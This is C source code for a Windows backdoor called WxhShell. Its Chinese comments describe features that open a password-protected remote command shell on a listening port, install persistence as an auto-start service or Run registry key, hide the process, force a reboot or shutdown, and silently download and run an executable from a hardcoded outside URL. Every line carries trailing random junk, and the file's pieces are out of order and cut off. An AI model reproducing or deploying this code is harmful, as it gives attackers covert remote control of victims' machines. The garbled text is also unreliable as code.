    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #_on{I  
    if(Boot(SHUTDOWN)) |X,$?ZDap  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?rky6  
    else { ]Jja  
    closesocket(wsh); c6f|y_ 2  
    ExitThread(0); @< wYT$  
    } |)m*EME  
    break; j!6elzg  
    } n9N#&Q"7m  
  // 获取shell $+A%ODv  
  case 's': { 'y'T'2N3  
    CmdShell(wsh); ,LoMt ]H  
    closesocket(wsh); &b 5T&-C<  
    ExitThread(0); vYYS .ve  
    break; dK[*  
  } ?s1u#'aO  
  // 退出 s*aH`M7^0  
  case 'x': { +Gk! t]dy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '2 w XV;`  
    CloseIt(wsh); ,Le&I9*%  
    break; Y;'VosTD  
    } F_ ,L 2J  
  // 离开 (Nm}3p  
  case 'q': { t|go5DXz4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AD~~e% s=  
    closesocket(wsh); 5{8x*PSl  
    WSACleanup(); a v'd%LZP  
    exit(1); [`y:M&@  
    break; C}n[?R  
        } MMd0O X)P  
  } ?SB[lbU  
  }  $&ex\_W  
sI^@A=.@  
  // 提示信息 $,8CH)w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y1#-^,qg  
} oq=?i%'>  
  } sKe9at^E]>  
`Ev A\f  
  return; Uuwq7oFub  
} +vSCR (n  
JZs|~@  
// shell模块句柄 %KbBH:z05  
int CmdShell(SOCKET sock) t-.2 +6"\  
{ dE 3i=  
STARTUPINFO si; *37LN  
ZeroMemory(&si,sizeof(si)); "bHtf_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~AEqfIx*^&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L4\SB O  
PROCESS_INFORMATION ProcessInfo; &&]"Y!r -  
char cmdline[]="cmd"; =-OCM*5~S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t}5'(9  
  return 0; ,:0Q1~8  
} %E4$ZPSW  
2neF<H?^o  
// 自身启动模式 >P<k[vF  
int StartFromService(void) Ymwx (Pm  
{ Sf+(1_^`t  
typedef struct I>A^5nk  
{ bs<WH`P  
  DWORD ExitStatus; Y{%4F%Oy  
  DWORD PebBaseAddress; R=][>\7]}  
  DWORD AffinityMask; Qh)|FQ[s$r  
  DWORD BasePriority; g`%ED0aR  
  ULONG UniqueProcessId; Zp/qs z(]  
  ULONG InheritedFromUniqueProcessId; ^2&O3s  
}   PROCESS_BASIC_INFORMATION; O!#L#u53  
\SYPu,ZT  
PROCNTQSIP NtQueryInformationProcess; <7vIh0  
",MK'\E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  aX>4Tw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xTa4.ZXg  
"o\6k"_c>  
  HANDLE             hProcess; G=r(SJq  
  PROCESS_BASIC_INFORMATION pbi; 0C7thl{Dms  
DBj;P|L_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _4~ng#M*  
  if(NULL == hInst ) return 0; LU-#=1Q  
k7z(Gbzu   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lU&`r:1>_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "@c';".|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gt2>nTJz.Z  
N}8HK^n*  
  if (!NtQueryInformationProcess) return 0; "Cb.cO$i;  
qB+:#Yrx/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~ERRp3Ee ?  
  if(!hProcess) return 0; m~= ]^e  
DuTlYXM2^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  2.HZ+1  
*@-q@5r}!  
  CloseHandle(hProcess); 9J-!o]f .b  
NDs]}5#   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9 NGeh*`  
if(hProcess==NULL) return 0; .LeF|EQU\@  
9G`FY:(K  
HMODULE hMod; 7$q2v=tH_  
char procName[255]; .d#G]8suF  
unsigned long cbNeeded; 42n@:5`{+  
~aauW?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X]+(c_i:hC  
*sc0,'0  
  CloseHandle(hProcess); wzNt c)~i  
Q7 0**qm  
if(strstr(procName,"services")) return 1; // 以服务启动 >/kPnpJ  
"6I-]:K-  
  return 0; // 注册表启动 P-E'cb%ub  
} h-?q6O/|  
'-nuH;r  
// 主模块 Ovaj":L  
int StartWxhshell(LPSTR lpCmdLine) 4y]:Gq z~  
{ S5*~r@8h  
  SOCKET wsl; *0Wi^f  
BOOL val=TRUE; p5twL  
  int port=0; x8SM,2ud  
  struct sockaddr_in door; i-i}`oN  
 MrKU,-  
  if(wscfg.ws_autoins) Install(); |mQtjo  
)"pxry4v7J  
port=atoi(lpCmdLine); ery?G-  
ZZ]OR;8  
if(port<=0) port=wscfg.ws_port; @MlU!oR&  
<WHs  
  WSADATA data; "a0u-}/D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~kSnXJv  
V(' 'p{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ig.6[5a\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .^)C:XiW  
  door.sin_family = AF_INET; LAK-!!0X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @??c<]9F  
  door.sin_port = htons(port); }0Kqy;  
},n,P&M\`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ard3yNQt  
closesocket(wsl); XW&8T"q7  
return 1; Q[ 9rA  
} ,/w852|ub  
[F AOp@7W  
  if(listen(wsl,2) == INVALID_SOCKET) { u]]5p[ |S  
closesocket(wsl); [)J49  
return 1; Vlp*'2VO  
} [MQJ71(3  
  Wxhshell(wsl); iZkW+5(  
  WSACleanup(); ;)= zvr17  
|4p<T! T  
return 0; )/+eL RN5G  
?,i#B'Z^  
} sS1J.R  
o7 @4=m}  
// 以NT服务方式启动 SqA+u/"j2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :,}:c%-^"  
{ nuQLq^e  
DWORD   status = 0; _#^A:a^e8  
  DWORD   specificError = 0xfffffff;  'QekQ];  
rmg";(I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |S>J<]H p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cO=UswIkwO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =-Q  
  serviceStatus.dwWin32ExitCode     = 0; %)6 :eIS  
  serviceStatus.dwServiceSpecificExitCode = 0; zfr(dQ  
  serviceStatus.dwCheckPoint       = 0; 3R:7bex  
  serviceStatus.dwWaitHint       = 0; QqFfR#  
xV n]m9i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !s[j1=y  
  if (hServiceStatusHandle==0) return; 8O.:3%D~ t  
32-3C6f@oZ  
status = GetLastError(); MMxoKL  
  if (status!=NO_ERROR) m[xf./@f{  
{ ZoNNM4M+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QkCoW[sn  
    serviceStatus.dwCheckPoint       = 0; 6ImV5^l  
    serviceStatus.dwWaitHint       = 0; &;@b&p+  
    serviceStatus.dwWin32ExitCode     = status; X!M fJ^)q  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xv5Ev@T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y(I*%=:$  
    return; |H+k?C-w  
  } ZAo)_za&mH  
Y%?!AmER  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $Pb[ c%'  
  serviceStatus.dwCheckPoint       = 0; qLW-3W;WUH  
  serviceStatus.dwWaitHint       = 0; TNyY60E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cV,03]x  
} 48&KdbGX  
fssL'DD  
// 处理NT服务事件,比如:启动、停止 4KSP81}/\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I|3v&E 1  
{ T\e)Czz2-  
switch(fdwControl) s<r.+zqW  
{ _KkVI7a  
case SERVICE_CONTROL_STOP: x4m_(CtK  
  serviceStatus.dwWin32ExitCode = 0; :J4C'N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )r|zi Z{F  
  serviceStatus.dwCheckPoint   = 0; Ppb2"Ik  
  serviceStatus.dwWaitHint     = 0; /wxxcq  
  { .IAHy)li"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LWb}) #E  
  } CQuvbAo  
  return;  RoM*Qjw  
case SERVICE_CONTROL_PAUSE: |z7Crz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TaHi+  
  break; ,tR'0&=  
case SERVICE_CONTROL_CONTINUE: 7jg(j~tQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qf&a<[p~  
  break; \q`+  
case SERVICE_CONTROL_INTERROGATE: (B/F6 X;o.  
  break; IO&#)Ft  
}; k2tX$\E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (zLIv9$  
} ]'ApOp  
CD<u@l,1  
// 标准应用程序主函数 g-V\ s&}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dBq,O%$oq  
{ h9n<ped`A;  
e/% ;  
// 获取操作系统版本 1yRd10  
OsIsNt=GetOsVer(); l;VGJMPi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (b 2^d  
(_n8$3T75  
  // 从命令行安装 l<K.!z<-:8  
  if(strpbrk(lpCmdLine,"iI")) Install(); h }%M  
MVL }[J  
  // 下载执行文件 tA u|8aL  
if(wscfg.ws_downexe) { u/:Sf*;?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "vRqtEBO@  
  WinExec(wscfg.ws_filenam,SW_HIDE); gMK3o8B/  
} dv9Pb5i  
nu9k{owB T  
if(!OsIsNt) { e4W];7_K!  
// 如果时win9x,隐藏进程并且设置为注册表启动 4!s k3Cw{  
HideProc(); e"H+sM26-  
StartWxhshell(lpCmdLine); i K[8At"Xo  
} Di1G  
else vls> 6h  
  if(StartFromService()) [c!vsh]^  
  // 以服务方式启动 2u;fT{(  
  StartServiceCtrlDispatcher(DispatchTable); YIk6:W{  
else | v'5*n9  
  // 普通方式启动 @k #y-/~?  
  StartWxhshell(lpCmdLine); oJu4vGy0  
r~Ubgd ]U  
return 0; rMFZ#38d  
} ]:#$6D"  
ds[Z=_Ll  
kuud0VWJ  
*U^I `j[u  
=========================================== BH*]OXW\  
v%7JZ<I'A  
L8K3&[l%  
:8L61d2(  
gV44PI6h  
9*Twx&  
" m1; <T@  
k 5r*?Os  
#include <stdio.h> v;qL? _:=c  
#include <string.h> 9/KQAc*  
#include <windows.h> B;7s]R  
#include <winsock2.h> I%|s  
#include <winsvc.h> KQZRzX>0  
#include <urlmon.h> ~HI0<;r=eL  
s ;Nu2aOp7  
#pragma comment (lib, "Ws2_32.lib") XUNgt(OGR'  
#pragma comment (lib, "urlmon.lib") 5h^qtK  
(9_e >2_  
#define MAX_USER   100 // 最大客户端连接数 00wH#_fm  
#define BUF_SOCK   200 // sock buffer ]Oh>ECA|D  
#define KEY_BUFF   255 // 输入 buffer 2}\sj'0&  
^B=z_0 *  
#define REBOOT     0   // 重启 (y4Eq*n%!  
#define SHUTDOWN   1   // 关机 cW/~4.v$  
g^^m a}i  
#define DEF_PORT   5000 // 监听端口 C4TD@  
^O:RS g9  
#define REG_LEN     16   // 注册表键长度 ]b=A/*z  
#define SVC_LEN     80   // NT服务名长度 )4~XZt1r  
8-6{MJ?F  
// 从dll定义API vKLG9ovlY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d }CMX$1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GuDD7~qxY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }33Au-%*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .%h_W\M<l  
U]&%EqLS  
// wxhshell配置信息 -* j;  
struct WSCFG { 0vNM#@  
  int ws_port;         // 监听端口 93 b5S>&r  
  char ws_passstr[REG_LEN]; // 口令 8k% :w0H  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^w}Ib']X  
  char ws_regname[REG_LEN]; // 注册表键名 o"CqVRR  
  char ws_svcname[REG_LEN]; // 服务名 a' fb0fz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SygsZv&LZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g+{MvSj$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g@i 4H[k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1:V/['|*g)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6UP3Ij  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hrxASAfg6  
iU|C<A%Hh  
}; -/*{^[  
w5R9\<3L  
// default Wxhshell configuration YWd(xm"4  
struct WSCFG wscfg={DEF_PORT, kQcQi}e  
    "xuhuanlingzhe", |EU08b]P29  
    1, wC@ U/?  
    "Wxhshell", 9uo\&,,  
    "Wxhshell", 7En~~J3  
            "WxhShell Service", qo ![#s  
    "Wrsky Windows CmdShell Service", }z@hx@N/  
    "Please Input Your Password: ", ,FPgs0rrS  
  1, cW>`Z:6{K  
  "http://www.wrsky.com/wxhshell.exe", :9>nY  
  "Wxhshell.exe"  F<1'M#bl  
    }; Ho9*y3]  
7P(:!ce4-  
// 消息定义模块 1O{67Pf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RT 9|E80  
char *msg_ws_prompt="\n\r? for help\n\r#>";  16{;24  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c9K\K~bk  
char *msg_ws_ext="\n\rExit."; @XJv9aq  
char *msg_ws_end="\n\rQuit."; M QI=  
char *msg_ws_boot="\n\rReboot..."; VAz+J  
char *msg_ws_poff="\n\rShutdown..."; E$baQU hKS  
char *msg_ws_down="\n\rSave to "; uu#+|ZD  
o W [-?  
char *msg_ws_err="\n\rErr!"; RR9s%>^  
char *msg_ws_ok="\n\rOK!"; 7] H4E.(l  
C_;6-Q%V  
char ExeFile[MAX_PATH]; w%"q=V  
int nUser = 0; Cq'r 'cBZ  
HANDLE handles[MAX_USER]; #7)6X:/O  
int OsIsNt; riQ?'!a7  
HxAa,+k  
SERVICE_STATUS       serviceStatus; Oms`i&}"}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~'Hwszp b  
8A=(,)`}9  
// 函数声明 6Vo}Uaq4  
int Install(void); EyiM`)!5  
int Uninstall(void); 34:=A0z  
int DownloadFile(char *sURL, SOCKET wsh); DtX{0p<T3  
int Boot(int flag); !o7. L%S  
void HideProc(void); Iu]P^8  
int GetOsVer(void); l$NEx0Dffz  
int Wxhshell(SOCKET wsl); e;v2`2z2  
void TalkWithClient(void *cs); B$n\m854  
int CmdShell(SOCKET sock); dWEx55>,1  
int StartFromService(void); pwQ."2x  
int StartWxhshell(LPSTR lpCmdLine); v?t+%|dzA  
0J B"@U&-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v\Gu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QUO?q+  
epePx0N%x$  
// 数据结构和表定义 36z{TWF  
SERVICE_TABLE_ENTRY DispatchTable[] = Sx7xb]3XI"  
{ NH!! .Z"  
{wscfg.ws_svcname, NTServiceMain}, 'L7.a'  
{NULL, NULL} @A%`\Ea%  
}; iWEYSi\)n  
`W=JX2I  
// 自我安装 eAEVpC2  
int Install(void) UbXz`i  
{ xC]/i(+bA  
  char svExeFile[MAX_PATH]; aeIR}'H|  
  HKEY key; x3 <Lx^;  
  strcpy(svExeFile,ExeFile); G#>nOB  
ME"/%59r  
// 如果是win9x系统,修改注册表设为自启动 F ry5v?22  
if(!OsIsNt) {  +yk>jx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bT |FJ\aC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i+6/ g  
  RegCloseKey(key); *&km5@*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sr0mA M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Smo'&x  
  RegCloseKey(key); tVwN92*J  
  return 0; K,Vl.-4?  
    } p_D)=Ef|&  
  } 0&|-wduR=  
} sT ONkd  
else { hi%>&i*  
{WChD&v  
// 如果是NT以上系统,安装为系统服务 ~V5jjx*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;F- kE4w  
if (schSCManager!=0) s5 BV8 M  
{ ~PHG5?X  
  SC_HANDLE schService = CreateService c'C2V9t  
  ( |gNOv;l  
  schSCManager, `CBTZG09  
  wscfg.ws_svcname, G4~J+5m k  
  wscfg.ws_svcdisp, GOjri  
  SERVICE_ALL_ACCESS, o<;"+@v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U-d&q>_@A  
  SERVICE_AUTO_START, aE}u5L$#  
  SERVICE_ERROR_NORMAL, {Ffr l(*  
  svExeFile, bk 2vce&  
  NULL, 2epL!j)Wh  
  NULL, uu:BN0  
  NULL, =:lacK(0  
  NULL, <cS1}"  
  NULL P]G2gDO  
  ); lnhZ!_  
  if (schService!=0) \4 DH&gZ[  
  { k K(,FB  
  CloseServiceHandle(schService); e): &pqA  
  CloseServiceHandle(schSCManager); ! d(,t[cV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3z#16*  
  strcat(svExeFile,wscfg.ws_svcname); KR63W:Z\'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fjf\/%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *e=e7KC6kI  
  RegCloseKey(key); RN;Tqq):  
  return 0; 6K6ihR!d  
    } V*)gJg  
  } 6Yu8ReuL  
  CloseServiceHandle(schSCManager); _F$?Z  
} :DEZ$gi  
} mOBS[M5*  
59|Tmf(dS;  
return 1; MZ.Jkf(  
} A-kI_&g\Og  
+Z+]Tqo  
// 自我卸载 2X:n75()  
int Uninstall(void) pq4frq  
{ j`bOJTBE  
  HKEY key; V@F~Cx  
n#iL[ &/Aw  
if(!OsIsNt) { z`W$/tw"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ><Z2uJZ4x  
  RegDeleteValue(key,wscfg.ws_regname);  z>!b  
  RegCloseKey(key); ?%?@?W>s@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { awUIYAgJ3  
  RegDeleteValue(key,wscfg.ws_regname); ]Kd:ZmJ  
  RegCloseKey(key); 9tJiIr8i  
  return 0; 9 ItsK  
  } ^#Shs^#  
} tkA '_dcIC  
} %*,'&S  
else { W,vb7v'  
r'j*f"uAm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /D eU`rj  
if (schSCManager!=0) IP-mo!Y.  
{ i;cqK&P;]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :Q 89j4,  
  if (schService!=0) v6FYlKU@8  
  { <X:7$v6T|  
  if(DeleteService(schService)!=0) { '_2~8w  
  CloseServiceHandle(schService); jl@xcs]#  
  CloseServiceHandle(schSCManager); VE!h!`<k  
  return 0; _d: l1jD  
  } l+@NjZGm<  
  CloseServiceHandle(schService); 3S Dw-k  
  } ]kr OPM/  
  CloseServiceHandle(schSCManager); =6ojkTk  
} zg|]Ic  
} 2$|WXYY  
IRLT -  
return 1; <EJC.W WJa  
} 0nC%tCV'  
cxVnlgq1  
// 从指定url下载文件 ,+0_kndR  
int DownloadFile(char *sURL, SOCKET wsh) A@GyKx%x$  
{ `6'fX[j5  
  HRESULT hr; ^;M!u8[  
char seps[]= "/"; e4t'3So  
char *token; b}Jcj  
char *file; r@ ]{`qA  
char myURL[MAX_PATH]; A+AqlM+$i  
char myFILE[MAX_PATH]; 94A re<  
U:p<pTnMR  
strcpy(myURL,sURL); (JOge~U  
  token=strtok(myURL,seps); 1aKY+4/G  
  while(token!=NULL) -(dc1?COi  
  { &GX pRo  
    file=token; ^+I{*0{/[  
  token=strtok(NULL,seps); 26j ; RV  
  } Y2}\~I0  
Go8 m  
GetCurrentDirectory(MAX_PATH,myFILE); :\>@yCD  
strcat(myFILE, "\\"); f$R]m2  
strcat(myFILE, file); \ 7jK6;R<  
  send(wsh,myFILE,strlen(myFILE),0); N,L$+wm  
send(wsh,"...",3,0); yy@g=<okt\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I;9>$?t[  
  if(hr==S_OK) cZi/bIh  
return 0; qn:3s  
else +eQg+@u  
return 1; SD |5v*  
*1|&uE&_R  
} a=Pl3Uo  
du  Pzt  
// 系统电源模块 y]+q mNw"+  
int Boot(int flag) YFeF(k!!n  
{ }}@x x&  
  HANDLE hToken; id'E_]r  
  TOKEN_PRIVILEGES tkp; J#"@~Q+a`@  
~0eJ6i  
  if(OsIsNt) { r1f##  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !c/G'se  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  s'RE~,  
    tkp.PrivilegeCount = 1; XX+%:,G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @uApm~}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 63 F@F t  
if(flag==REBOOT) { rxJmK$qd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l!5fuB8  
  return 0; [BWA$5D)Ny  
} &c%;Lo  
else { v25]}9/C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w*n@_n={  
  return 0; {wVj-w=<W  
} [_q3 02  
  } ,ir(~g+{g  
  else { B*W)e$  
if(flag==REBOOT) { k "7l\;N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RG4T9eZq  
  return 0; VG'M=O{)3  
} EVX*YGxx6  
else { 9mZ[SQf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (Rj'd>%c  
  return 0; $DBJ"8n2  
} >|IUjv2L  
} >NDI<9<'0}  
Gf*|f"O  
return 1; hj[&.w  
} u 6A!Sw  
 UDl[  
// win9x进程隐藏模块 ^VabXGzo#  
void HideProc(void) cgY + xd@  
{ -*HR0:H  
F/}(FG<'>I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WTK )SKa,.  
  if ( hKernel != NULL ) kyR=U`OW  
  { Mwm9{1{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cHP~J%&L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <a_ytSoG1  
    FreeLibrary(hKernel); I54`}Npp  
  } iW oe  
2Tt^^Lb  
return; 2z#gn9Wb  
} oy{ {d  
(@X].oM^y  
// 获取操作系统版本 TuR.'kE@  
int GetOsVer(void) `,~8(rIM  
{ "0Ca;hSLM2  
  OSVERSIONINFO winfo; IHC {2 ^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xQ~}9Kt\  
  GetVersionEx(&winfo); ,0k3Qi%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4@0y$Dv\  
  return 1; nz+k ,  
  else S3fyt]pp  
  return 0; O S?S$y  
} dK.k,7R  
AXN%b2  
// 客户端句柄模块 m6+4}=Cn  
int Wxhshell(SOCKET wsl) B\*"rSP\  
{ ebv"`0K$  
  SOCKET wsh; KF!?; q0J  
  struct sockaddr_in client; A*b>@>2  
  DWORD myID; T*pcS'?'  
,.6)y1!  
  while(nUser<MAX_USER) 4Kl{^2  
{ EUGN`t-M  
  int nSize=sizeof(client); Lfr>y_i;F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ynxzkm S  
  if(wsh==INVALID_SOCKET) return 1; O> .gcLA  
Z2@_F7cXt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D0 5JQ*  
if(handles[nUser]==0) q/qJkr^2  
  closesocket(wsh); )+L.$h  
else 1>)q 5D  
  nUser++; 7j,u&%om  
  } 7^bde<0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NLnfCY-h  
^t0Yh%V7  
  return 0; pXPLTGY<R+  
} SobOUly5{  
;;f&aujSHD  
// 关闭 socket +0DPhc  
void CloseIt(SOCKET wsh) /u&{=nU  
{ tMbracm  
closesocket(wsh); K."%PdC  
nUser--;  iup "P  
ExitThread(0); CQ;.}=j ,  
} |g)/6jG<-  
;nx? 4f+6h  
// 客户端请求句柄 DWXxB  
void TalkWithClient(void *cs) 4s_|6{ANS  
{ Rlyx& C8  
Tup2;\y  
  SOCKET wsh=(SOCKET)cs; 2WF7^$^:  
  char pwd[SVC_LEN]; o W<Z8s;p  
  char cmd[KEY_BUFF]; ^E]Xq]vd"  
char chr[1]; e<Bw duy  
int i,j; og$%`o:{  
jXH?os%  
  while (nUser < MAX_USER) { 1^v?Ly8  
<<vT"2Q]  
if(wscfg.ws_passstr) { 9jkaEn>m^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =sFLzAu8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (6g;FD:"6  
  //ZeroMemory(pwd,KEY_BUFF); LFwRTY,G  
      i=0; q\uzmOh  
  while(i<SVC_LEN) { 7%` \E9t  
+-$Hx5  
  // 设置超时 pVN) k  
  fd_set FdRead; %D_pTD\  
  struct timeval TimeOut; jT:z#B%  
  FD_ZERO(&FdRead); ]Oh8LcE#BF  
  FD_SET(wsh,&FdRead); 31*0b|Z  
  TimeOut.tv_sec=8; .$]%gjIBCl  
  TimeOut.tv_usec=0; X}5}M+'~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @a]O(S>Ub  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 99/`23YL  
Pbo759q 1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }K3!ujvR  
  pwd=chr[0]; }.S4;#|hw  
  if(chr[0]==0xd || chr[0]==0xa) { Xg^9k00C  
  pwd=0; Tm) (?y  
  break; kD?lMA__  
  } tqYwP Sr  
  i++; :Sc"fG,g)  
    } ZIr&_x#e  
5vSJjhS  
  // 如果是非法用户,关闭 socket |%HTBF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aM6qYO!jA  
} FG @ ')N!g  
rdBF+YN9/?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |XV@/ZGl~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0 v> *P*  
.z6"(?~  
while(1) { /&jh10}H  
Uja`{uc  
  ZeroMemory(cmd,KEY_BUFF); lKT<aYX  
x sN)a!  
      // 自动支持客户端 telnet标准   mh7JPbX|  
  j=0; ]38{du  
  while(j<KEY_BUFF) { E9]\ I> v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `{v!|.d<  
  cmd[j]=chr[0]; *;u'W|"/~  
  if(chr[0]==0xa || chr[0]==0xd) { 8p0ZIrD%  
  cmd[j]=0; G\4*6iw:  
  break; l2|[  
  } T=~D>2C  
  j++; GUH-$rA  
    } lXnzomU  
sngM4ikhs  
  // 下载文件 Bkaupvv9S  
  if(strstr(cmd,"http://")) { UZDXv=r|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]8~{C>ch$  
  if(DownloadFile(cmd,wsh)) Y Z.? k4>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -#agWqUM|T  
  else ]ML(=7z"  
